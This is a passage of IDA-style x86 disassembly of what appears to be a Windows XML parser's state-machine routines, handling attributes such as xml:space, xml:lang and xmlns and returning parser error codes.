		retn
sub_69B34DD2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B34E0B	proc near		; CODE XREF: sub_69B3576E+E4j
					; DATA XREF: sub_69B3576E:loc_69B3583Eo
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		jz	short loc_69B34E88
		dec	eax
		jz	loc_69B34EE8
		dec	eax
		jz	short loc_69B34E2D
		mov	eax, 0C00CE512h
		jmp	loc_69B34F0C
; ---------------------------------------------------------------------------


loc_69B34E2D:				; CODE XREF: sub_69B34E0B+16j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jz	short loc_69B34E3E


loc_69B34E34:				; CODE XREF: sub_69B34E0B+E0j
		mov	eax, 0C00CE55Fh
		jmp	loc_69B34F0C
; ---------------------------------------------------------------------------


loc_69B34E3E:				; CODE XREF: sub_69B34E0B+27j
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	3Eh
		jz	short loc_69B34E51
		mov	eax, 0C00CE505h
		jmp	loc_69B34F0C
; ---------------------------------------------------------------------------


loc_69B34E51:				; CODE XREF: sub_69B34E0B+3Aj
		cmp	[esi+0A8h], bl
		jnz	short loc_69B34E65
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B34E6C
; ---------------------------------------------------------------------------


loc_69B34E65:				; CODE XREF: sub_69B34E0B+4Cj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34E6C:				; CODE XREF: sub_69B34E0B+58j
		cmp	eax, ebx
		jnz	loc_69B34F0C
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		jmp	short loc_69B34F06
; ---------------------------------------------------------------------------


loc_69B34E88:				; CODE XREF: sub_69B34E0B+Cj
		cmp	[esi+0A8h], bl
		jnz	short loc_69B34EA2
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B34EA9
; ---------------------------------------------------------------------------


loc_69B34EA2:				; CODE XREF: sub_69B34E0B+83j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B34EA9:				; CODE XREF: sub_69B34E0B+95j
		cmp	eax, ebx
		jnz	short loc_69B34F0C
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		cmp	[esi+87h], bl
		jz	short loc_69B34EC5
		cmp	word ptr [esi+52h], 3Eh
		jz	short loc_69B34EE2


loc_69B34EC5:				; CODE XREF: sub_69B34E0B+B1j
		push	1
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B34F0C
		mov	ecx, esi
		call	sub_69B32791
		cmp	eax, ebx
		jl	short loc_69B34F0C


loc_69B34EE2:				; CODE XREF: sub_69B34E0B+B8j
		mov	word ptr [esi+4], 1


loc_69B34EE8:				; CODE XREF: sub_69B34E0B+Fj
		cmp	[esi+5Ch], bl
		jnz	loc_69B34E34
		push	2
		push	offset sub_69B3254F
		mov	ecx, esi
		mov	dword ptr [esi+44h], 3Fh
		call	sub_69B320E7


loc_69B34F06:				; CODE XREF: sub_69B34E0B+7Bj
		cmp	eax, ebx
		jl	short loc_69B34F0C
		xor	eax, eax


loc_69B34F0C:				; CODE XREF: sub_69B34E0B+1Dj
					; sub_69B34E0B+2Ej ...
		pop	esi
		pop	ebx
		retn
sub_69B34E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B34F0F	proc near		; DATA XREF: sub_69B355C8+182o

var_8		= dword	ptr -8
lpStr2		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		cmp	eax, 8		; switch 9 cases
		push	edi
		ja	loc_69B352B3	; default
		push	2
		pop	ebx
		jmp	ds:off_69B352BD[eax*4] ; switch	jump


loc_69B34F30:				; DATA XREF: .text:off_69B352BDo
		and	dword ptr [esi+78h], 0 ; jumptable 69B34F29 case 0
		push	1
		push	offset sub_69B3254F
		mov	ecx, esi
		mov	byte ptr [esi+0A7h], 0
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B352B8
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	loc_69B352B8
		mov	word ptr [esi+4], 1


loc_69B34F66:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		mov	ax, [esi+52h]	; jumptable 69B34F29 case 1
		cmp	ax, [esi+5Ah]
		jz	short loc_69B34FDD
		cmp	ax, 3Eh
		jz	short loc_69B34FDD
		cmp	ax, 78h
		jnz	short loc_69B34F83
		mov	byte ptr [esi+0A7h], 1


loc_69B34F83:				; CODE XREF: sub_69B34F0F+6Bj
		push	ebx
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B352B8
		mov	ecx, esi
		call	sub_69B32791
		test	eax, eax
		jl	loc_69B352B8
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	short loc_69B34FC3
		cmp	word ptr [esi+52h], 3Dh
		jz	short loc_69B34FC3
		mov	eax, 0C00CE505h
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B34FC3:				; CODE XREF: sub_69B34F0F+A1j
					; sub_69B34F0F+A8j
		mov	[esi+4], bx


loc_69B34FC7:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		mov	ecx, [esi+34h]	; jumptable 69B34F29 case 2
		mov	eax, [ecx+48h]
		cmp	eax, [ecx+8]
		jnz	short loc_69B34FF3
		mov	word ptr [esi+4], 7
		jmp	loc_69B352AF
; ---------------------------------------------------------------------------


loc_69B34FDD:				; CODE XREF: sub_69B34F0F+5Fj
					; sub_69B34F0F+65j ...
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		test	eax, eax
		jl	loc_69B352B8
		jmp	loc_69B352AF
; ---------------------------------------------------------------------------


loc_69B34FF3:				; CODE XREF: sub_69B34F0F+C1j
		cmp	byte ptr [esi+5Ch], 0
		jnz	loc_69B35295
		cmp	byte ptr [esi+0A7h], 0
		jz	loc_69B35113
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+lpStr2]
		push	eax
		call	sub_69B35C65
		xor	eax, eax
		mov	al, [esi+88h]
		push	eax		; char
		mov	eax, [esi+48h]
		add	eax, [ebp+var_8]
		push	eax		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aXmlSpace ; "xml:space"
		call	sub_69B31FAA
		test	al, al
		jnz	loc_69B3510A
		xor	eax, eax
		mov	al, [esi+88h]
		push	eax		; char
		mov	eax, [esi+48h]
		add	eax, [ebp+var_8]
		push	eax		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aXmlLang	; "xml:lang"
		call	sub_69B31FAA
		test	al, al
		jz	short loc_69B35069
		mov	dword ptr [esi+44h], 21h
		jmp	loc_69B35116
; ---------------------------------------------------------------------------


loc_69B35069:				; CODE XREF: sub_69B34F0F+14Cj
		cmp	dword ptr [esi+60h], 5
		mov	edi, offset aXmlns ; "xmlns"
		jnz	short loc_69B3508C
		xor	eax, eax
		mov	al, [esi+88h]
		push	eax		; char
		push	5		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	edi		; lpString
		call	sub_69B31FAA
		test	al, al
		jnz	short loc_69B350A9


loc_69B3508C:				; CODE XREF: sub_69B34F0F+163j
		xor	eax, eax
		mov	al, [esi+88h]
		push	eax		; char
		mov	eax, [esi+48h]
		add	eax, [ebp+var_8]
		push	eax		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	edi		; lpString
		call	sub_69B31FAA
		test	al, al
		jz	short loc_69B350E0


loc_69B350A9:				; CODE XREF: sub_69B34F0F+17Bj
		mov	eax, [esi+48h]
		add	eax, [ebp+var_8]
		cmp	eax, 9
		jl	short loc_69B350D7
		mov	eax, [ebp+lpStr2]
		push	1		; char
		push	3		; nChar
		add	eax, 0Ch
		push	eax		; lpStr2
		push	offset aXml	; "xml"
		call	sub_69B31FAA
		test	al, al
		jz	short loc_69B350D7
		mov	eax, 0C00CE568h
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B350D7:				; CODE XREF: sub_69B34F0F+1A3j
					; sub_69B34F0F+1BCj
		mov	dword ptr [esi+44h], 1Fh
		jmp	short loc_69B35116
; ---------------------------------------------------------------------------


loc_69B350E0:				; CODE XREF: sub_69B34F0F+198j
		cmp	byte ptr [esi+8Bh], 0
		jz	short loc_69B35113
		xor	eax, eax
		mov	al, [esi+88h]
		push	eax		; char
		mov	eax, [esi+48h]
		add	eax, [ebp+var_8]
		push	eax		; nChar
		push	[ebp+lpStr2]	; lpStr2
		push	offset aXmlSpace_0 ; "xml-space"
		call	sub_69B31FAA
		test	al, al
		jz	short loc_69B35113


loc_69B3510A:				; CODE XREF: sub_69B34F0F+127j
		mov	dword ptr [esi+44h], 20h
		jmp	short loc_69B35116
; ---------------------------------------------------------------------------


loc_69B35113:				; CODE XREF: sub_69B34F0F+F5j
					; sub_69B34F0F+1D8j ...
		mov	[esi+44h], ebx


loc_69B35116:				; CODE XREF: sub_69B34F0F+155j
					; sub_69B34F0F+1CFj ...
		mov	word ptr [esi+4], 3
		jmp	loc_69B352AF
; ---------------------------------------------------------------------------


loc_69B35121:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		mov	eax, [esi+34h]	; jumptable 69B34F29 case 3
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	loc_69B351B5
		mov	byte ptr [esi+54h], 0
		mov	word ptr [esi+4], 4


loc_69B3513A:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		lea	eax, [esi+52h]	; jumptable 69B34F29 case 4
		cmp	word ptr [eax],	3Dh
		jz	short loc_69B3514D
		mov	eax, 0C00CE501h
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B3514D:				; CODE XREF: sub_69B34F0F+232j
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B35165
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3516C
; ---------------------------------------------------------------------------


loc_69B35165:				; CODE XREF: sub_69B34F0F+245j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3516C:				; CODE XREF: sub_69B34F0F+254j
		test	eax, eax
		jnz	loc_69B352B8
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jnz	short loc_69B351A4
		push	5
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	loc_69B352B8
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	loc_69B352B8


loc_69B351A4:				; CODE XREF: sub_69B34F0F+26Ej
		mov	word ptr [esi+4], 5


loc_69B351AA:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		mov	ecx, [esi+34h]	; jumptable 69B34F29 case 5
		mov	eax, [ecx+48h]
		cmp	eax, [ecx+8]
		jnz	short loc_69B351BF


loc_69B351B5:				; CODE XREF: sub_69B34F0F+21Bj
		mov	eax, 0C00CE513h
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B351BF:				; CODE XREF: sub_69B34F0F+2A4j
		lea	edx, [esi+52h]
		mov	ax, [edx]
		cmp	ax, 22h
		jz	short loc_69B351DB
		cmp	ax, 27h
		jz	short loc_69B351DB
		mov	eax, 0C00CE502h
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B351DB:				; CODE XREF: sub_69B34F0F+2BAj
					; sub_69B34F0F+2C0j
		cmp	byte ptr [esi+0A8h], 0
		mov	[esi+56h], ax
		jnz	short loc_69B351F4
		lea	eax, [esi+5Ch]
		push	eax
		push	edx
		call	sub_69B35FE4
		jmp	short loc_69B351FB
; ---------------------------------------------------------------------------


loc_69B351F4:				; CODE XREF: sub_69B34F0F+2D7j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B351FB:				; CODE XREF: sub_69B34F0F+2E3j
		test	eax, eax
		jnz	loc_69B352B8
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B318D1
		push	6
		push	offset sub_69B33973
		mov	ecx, esi
		call	sub_69B320E7
		jmp	loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B3521F:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B34F29 case	6
		jnz	short loc_69B35295
		mov	ax, [esi+52h]
		cmp	ax, [esi+5Ah]
		jz	loc_69B34FDD
		cmp	ax, 3Eh
		jz	loc_69B34FDD
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
		jz	short loc_69B35258
		cmp	byte ptr [esi+8Bh], 0
		jnz	short loc_69B35258
		mov	eax, 0C00CE509h
		jmp	short loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B35258:				; CODE XREF: sub_69B34F0F+337j
					; sub_69B34F0F+340j
		and	word ptr [esi+4], 0
		jmp	short loc_69B352AF
; ---------------------------------------------------------------------------


loc_69B3525F:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		mov	eax, [esi+34h]	; jumptable 69B34F29 case 7
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		push	8
		dec	ecx
		mov	[esi+48h], ecx
		push	offset sub_69B3254F
		mov	ecx, esi
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B352B8
		mov	ecx, esi
		call	sub_69B3254F
		test	eax, eax
		jl	short loc_69B352B8
		mov	word ptr [esi+4], 8


loc_69B3528F:				; CODE XREF: sub_69B34F0F+1Aj
					; DATA XREF: .text:off_69B352BDo
		cmp	byte ptr [esi+5Ch], 0 ;	jumptable 69B34F29 case	8
		jz	short loc_69B3529C


loc_69B35295:				; CODE XREF: sub_69B34F0F+E8j
					; sub_69B34F0F+314j
		mov	eax, 0C00CE55Eh
		jmp	short loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B3529C:				; CODE XREF: sub_69B34F0F+384j
		mov	eax, [esi+34h]
		mov	ecx, [eax+14h]
		sub	ecx, [eax+8]
		mov	word ptr [esi+4], 2
		inc	ecx
		add	[esi+48h], ecx


loc_69B352AF:				; CODE XREF: sub_69B34F0F+C9j
					; sub_69B34F0F+DFj ...
		xor	eax, eax
		jmp	short loc_69B352B8
; ---------------------------------------------------------------------------


loc_69B352B3:				; CODE XREF: sub_69B34F0F+11j
		mov	eax, 0C00CE512h	; default


loc_69B352B8:				; CODE XREF: sub_69B34F0F+3Cj
					; sub_69B34F0F+4Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B34F0F	endp

; ---------------------------------------------------------------------------
off_69B352BD	dd offset loc_69B34F30	; DATA XREF: sub_69B34F0F+1Ar
		dd offset loc_69B34F66	; jump table for switch	statement
		dd offset loc_69B34FC7
		dd offset loc_69B35121
		dd offset loc_69B3513A
		dd offset loc_69B351AA
		dd offset loc_69B3521F
		dd offset loc_69B3525F
		dd offset loc_69B3528F
		align 4
; const	WCHAR aXmlSpace_0
aXmlSpace_0:				; DATA XREF: sub_69B34F0F+1EDo
		unicode	0, <xml-space>,0
; const	WCHAR aXmlLang
aXmlLang:				; DATA XREF: sub_69B34F0F+140o
		unicode	0, <xml:lang>,0
		align 4
; const	WCHAR aXmlSpace
aXmlSpace:				; DATA XREF: sub_69B34F0F+11Bo
		unicode	0, <xml:space>,0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B35320	proc near		; CODE XREF: sub_69B3576E+3Ej
					; DATA XREF: sub_69B3576E+24o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		sub	eax, 0
		push	edi
		jz	short loc_69B35347
		dec	eax
		jz	short loc_69B35351
		dec	eax
		jz	loc_69B353D0
		mov	eax, 0C00CE512h
		jmp	loc_69B35406
; ---------------------------------------------------------------------------


loc_69B35347:				; CODE XREF: sub_69B35320+11j
		mov	byte ptr [esi+54h], 1
		mov	word ptr [esi+4], 1


loc_69B35351:				; CODE XREF: sub_69B35320+14j
		lea	edi, [esi+52h]
		cmp	word ptr [edi],	3Ch
		jz	short loc_69B353CA
		lea	ebx, [esi+5Ch]


loc_69B3535D:				; CODE XREF: sub_69B35320+A8j
		cmp	byte ptr [ebx],	0
		jnz	short loc_69B353CA
		mov	ax, [edi]
		cmp	ax, 26h
		jz	loc_69B3540B
		cmp	ax, 3Eh
		jnz	short loc_69B353AD
		cmp	byte ptr [esi+8Bh], 0
		jnz	short loc_69B353AD
		mov	ecx, [esi+34h]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B35C65
		mov	ecx, [ebp+var_8]
		cmp	ecx, 2
		mov	eax, [ebp+var_4]
		lea	eax, [eax+ecx*2-4]
		mov	[ebp+var_4], eax
		jl	short loc_69B353AD
		cmp	word ptr [eax],	5Dh
		jnz	short loc_69B353AD
		cmp	word ptr [eax+2], 5Dh
		jz	short loc_69B3541B


loc_69B353AD:				; CODE XREF: sub_69B35320+53j
					; sub_69B35320+5Cj ...
		mov	ecx, [esi+34h]
		lea	eax, [esi+54h]
		push	eax
		push	edi
		call	sub_69B35B2D
		test	eax, eax
		jl	short loc_69B35422
		push	eax
		call	sub_69B8861E
		cmp	word ptr [edi],	3Ch
		jnz	short loc_69B3535D


loc_69B353CA:				; CODE XREF: sub_69B35320+38j
					; sub_69B35320+40j
		mov	word ptr [esi+4], 2


loc_69B353D0:				; CODE XREF: sub_69B35320+17j
		mov	eax, [esi+34h]
		mov	ecx, [eax+8]
		sub	ecx, [eax+14h]
		dec	ecx
		test	ecx, ecx
		jg	short loc_69B353E7
		cmp	byte ptr [esi+0A5h], 0
		jz	short loc_69B353F7


loc_69B353E7:				; CODE XREF: sub_69B35320+BCj
		mov	al, [esi+54h]
		neg	al
		sbb	eax, eax
		and	eax, 5
		add	eax, 0Dh
		mov	[esi+44h], eax


loc_69B353F7:				; CODE XREF: sub_69B35320+C5j
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B35406
		xor	eax, eax


loc_69B35406:				; CODE XREF: sub_69B35320+22j
					; sub_69B35320+E2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B3540B:				; CODE XREF: sub_69B35320+49j
		push	1
		push	offset sub_69B32EF6
		mov	ecx, esi
		call	sub_69B320E7
		jmp	short loc_69B35406
; ---------------------------------------------------------------------------


loc_69B3541B:				; CODE XREF: sub_69B35320+8Bj
		mov	eax, 0C00CE55Ch
		jmp	short loc_69B35406
; ---------------------------------------------------------------------------


loc_69B35422:				; CODE XREF: sub_69B35320+9Cj
		cmp	eax, 8000000Ah
		jnz	short loc_69B35406
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3543E
		mov	ecx, [esi+34h]
		push	ebx
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B35406
; ---------------------------------------------------------------------------


loc_69B3543E:				; CODE XREF: sub_69B35320+110j
		mov	ecx, esi
		call	sub_69B34A8C
		jmp	short loc_69B35406
sub_69B35320	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B35447	proc near		; CODE XREF: sub_69B32791+160p
					; sub_69B32BA0+C4p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		cmp	byte ptr [esi+0A8h], 0
		push	edi
		mov	[esi+4], bx
		jnz	short loc_69B3546F
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B35476
; ---------------------------------------------------------------------------


loc_69B3546F:				; CODE XREF: sub_69B35447+14j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B35476:				; CODE XREF: sub_69B35447+26j
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B354A9
		cmp	edi, 8000000Ah
		jz	short loc_69B3549C
		cmp	edi, 0C00CE600h
		jz	short loc_69B3549C
		cmp	edi, 0C00CE601h
		jz	short loc_69B3549C
		cmp	edi, 8000E5FFh
		jnz	short loc_69B354A9


loc_69B3549C:				; CODE XREF: sub_69B35447+3Bj
					; sub_69B35447+43j ...
		push	ebx
		push	offset sub_69B34DD2
		mov	ecx, esi
		call	sub_69B320E7


loc_69B354A9:				; CODE XREF: sub_69B35447+33j
					; sub_69B35447+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_69B35447	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B354B1	proc near		; CODE XREF: sub_69B38A09+169p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		cmp	[esi+0A8h], bl
		jz	short loc_69B354D9
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B34BED
		jmp	loc_69B355C2
; ---------------------------------------------------------------------------


loc_69B354D9:				; CODE XREF: sub_69B354B1+10j
		cmp	[esi+50h], bl
		jz	short loc_69B354EF
		push	dword ptr [esi+4Ch]
		mov	ecx, [esi+34h]
		call	sub_69B318D1
		mov	[esi+4Ch], ebx
		mov	[esi+50h], bl


loc_69B354EF:				; CODE XREF: sub_69B354B1+2Bj
		mov	ecx, esi
		call	dword ptr [esi]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jnz	short loc_69B3553A


loc_69B354FA:				; CODE XREF: sub_69B354B1+57j
		cmp	[esi+44h], ebx
		jnz	short loc_69B3550A
		mov	ecx, esi
		call	dword ptr [esi]
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_69B354FA


loc_69B3550A:				; CODE XREF: sub_69B354B1+4Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_69B3553A
		mov	eax, [esi+44h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax


loc_69B35517:				; CODE XREF: sub_69B354B1+95j
		cmp	[esi+0A5h], bl
		push	edi
		jnz	short loc_69B35559
		mov	edi, [ebp+arg_8]
		mov	ecx, [esi+34h]
		push	edi
		push	[ebp+arg_4]
		call	sub_69B35C65
		mov	eax, [esi+48h]
		cmp	eax, ebx
		jz	short loc_69B35582
		add	[edi], eax
		jmp	short loc_69B3557F
; ---------------------------------------------------------------------------


loc_69B3553A:				; CODE XREF: sub_69B354B1+47j
					; sub_69B354B1+5Cj
		cmp	[ebp+var_4], 8000000Ah
		mov	eax, [ebp+arg_0]
		mov	[eax], ebx
		jnz	short loc_69B35517
		mov	eax, [ebp+arg_C]
		mov	[eax], ebx
		mov	eax, [ebp+arg_8]
		mov	[eax], ebx
		mov	eax, [ebp+arg_4]
		mov	[eax], ebx
		jmp	short loc_69B355BF
; ---------------------------------------------------------------------------


loc_69B35559:				; CODE XREF: sub_69B354B1+6Dj
		mov	eax, [esi+98h]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		mov	[ecx], eax
		lea	eax, [esi+9Ch]
		mov	ecx, [eax]
		mov	[edx], ecx
		mov	[esi+0A5h], bl
		mov	[esi+0A4h], bl
		mov	[eax], ebx


loc_69B3557F:				; CODE XREF: sub_69B354B1+87j
		mov	[esi+48h], ebx


loc_69B35582:				; CODE XREF: sub_69B354B1+83j
		cmp	[ebp+var_4], ebx
		pop	edi
		jz	short loc_69B355AA
		cmp	[ebp+var_4], 0C00CE550h
		jl	short loc_69B3559A
		cmp	[ebp+var_4], 0C00CE583h
		jl	short loc_69B355AA


loc_69B3559A:				; CODE XREF: sub_69B354B1+DEj
		push	dword ptr [esi+4Ch]
		mov	ecx, [esi+34h]
		call	sub_69B318D1
		mov	[esi+4Ch], ebx
		jmp	short loc_69B355AE
; ---------------------------------------------------------------------------


loc_69B355AA:				; CODE XREF: sub_69B354B1+D5j
					; sub_69B354B1+E7j
		mov	byte ptr [esi+50h], 1


loc_69B355AE:				; CODE XREF: sub_69B354B1+F7j
		mov	eax, [esi+60h]
		mov	ecx, [ebp+arg_C]
		mov	[esi+44h], ebx
		mov	[ecx], eax
		mov	[esi+64h], ebx
		mov	[esi+60h], ebx


loc_69B355BF:				; CODE XREF: sub_69B354B1+A6j
		mov	eax, [ebp+var_4]


loc_69B355C2:				; CODE XREF: sub_69B354B1+23j
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B354B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B355C8	proc near		; CODE XREF: sub_69B3576E+A3j
					; DATA XREF: sub_69B3576E+8Ao
		push	ebx
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		push	edi
		xor	ebx, ebx
		sub	eax, ebx
		push	1
		pop	edi
		jz	loc_69B356D4
		dec	eax
		jz	loc_69B35704
		dec	eax
		push	3Eh
		pop	edi
		jz	short loc_69B35607
		dec	eax
		jz	short loc_69B35659
		dec	eax
		jz	short loc_69B355FB
		mov	eax, 0C00CE512h
		jmp	loc_69B3576A
; ---------------------------------------------------------------------------


loc_69B355FB:				; CODE XREF: sub_69B355C8+27j
		mov	dword ptr [esi+44h], 3Eh
		jmp	loc_69B356AF
; ---------------------------------------------------------------------------


loc_69B35607:				; CODE XREF: sub_69B355C8+21j
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		lea	eax, [esi+52h]
		mov	cx, [eax]
		cmp	cx, 2Fh
		jnz	short loc_69B35647
		cmp	[esi+0A8h], bl
		jnz	short loc_69B35633
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3563A
; ---------------------------------------------------------------------------


loc_69B35633:				; CODE XREF: sub_69B355C8+5Aj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3563A:				; CODE XREF: sub_69B355C8+69j
		cmp	eax, ebx
		jnz	loc_69B3576A
		mov	[esi+44h], edi
		jmp	short loc_69B35653
; ---------------------------------------------------------------------------


loc_69B35647:				; CODE XREF: sub_69B355C8+52j
		cmp	cx, di
		jnz	short loc_69B35672
		mov	dword ptr [esi+44h], 3Dh


loc_69B35653:				; CODE XREF: sub_69B355C8+7Dj
		mov	word ptr [esi+4], 3


loc_69B35659:				; CODE XREF: sub_69B355C8+24j
		lea	ecx, [esi+5Ch]
		cmp	[ecx], bl
		jz	short loc_69B3566A


loc_69B35660:				; CODE XREF: sub_69B355C8+13Fj
		mov	eax, 0C00CE55Eh
		jmp	loc_69B3576A
; ---------------------------------------------------------------------------


loc_69B3566A:				; CODE XREF: sub_69B355C8+96j
		lea	eax, [esi+52h]
		cmp	[eax], di
		jz	short loc_69B3568C


loc_69B35672:				; CODE XREF: sub_69B355C8+82j
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF7h
		add	eax, 0C00CE513h
		jmp	loc_69B3576A
; ---------------------------------------------------------------------------


loc_69B3568C:				; CODE XREF: sub_69B355C8+A8j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B356A0
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B356A7
; ---------------------------------------------------------------------------


loc_69B356A0:				; CODE XREF: sub_69B355C8+CAj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B356A7:				; CODE XREF: sub_69B355C8+D6j
		cmp	eax, ebx
		jnz	loc_69B3576A


loc_69B356AF:				; CODE XREF: sub_69B355C8+3Aj
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		push	1
		mov	ecx, esi
		call	sub_69B3220F
		cmp	eax, ebx
		jl	loc_69B3576A
		mov	ecx, [esi+34h]
		pop	edi
		pop	esi
		pop	ebx
		jmp	sub_69B35D39
; ---------------------------------------------------------------------------


loc_69B356D4:				; CODE XREF: sub_69B355C8+10j
		mov	ecx, [esi+34h]
		call	sub_69B35F5B
		cmp	eax, ebx
		jl	loc_69B3576A
		push	edi
		push	offset sub_69B32791
		mov	ecx, esi
		call	sub_69B320E7
		cmp	eax, ebx
		jl	short loc_69B3576A
		mov	ecx, esi
		call	sub_69B32791
		cmp	eax, ebx
		jl	short loc_69B3576A
		mov	[esi+4], di


loc_69B35704:				; CODE XREF: sub_69B355C8+17j
		cmp	[esi+5Ch], bl
		jnz	loc_69B35660
		mov	ax, [esi+52h]
		cmp	ax, 2Fh
		mov	[esi+44h], edi
		jz	short loc_69B35762
		cmp	ax, 3Eh
		jz	short loc_69B35762
		cmp	[esi+8Bh], bl
		jz	short loc_69B35736
		cmp	ax, 3Dh
		jnz	short loc_69B35736
		mov	word ptr [esi+4], 4
		jmp	short loc_69B35768
; ---------------------------------------------------------------------------


loc_69B35736:				; CODE XREF: sub_69B355C8+15Ej
					; sub_69B355C8+164j
		mov	eax, [esi+34h]
		mov	ecx, [eax+48h]
		cmp	ecx, [eax+8]
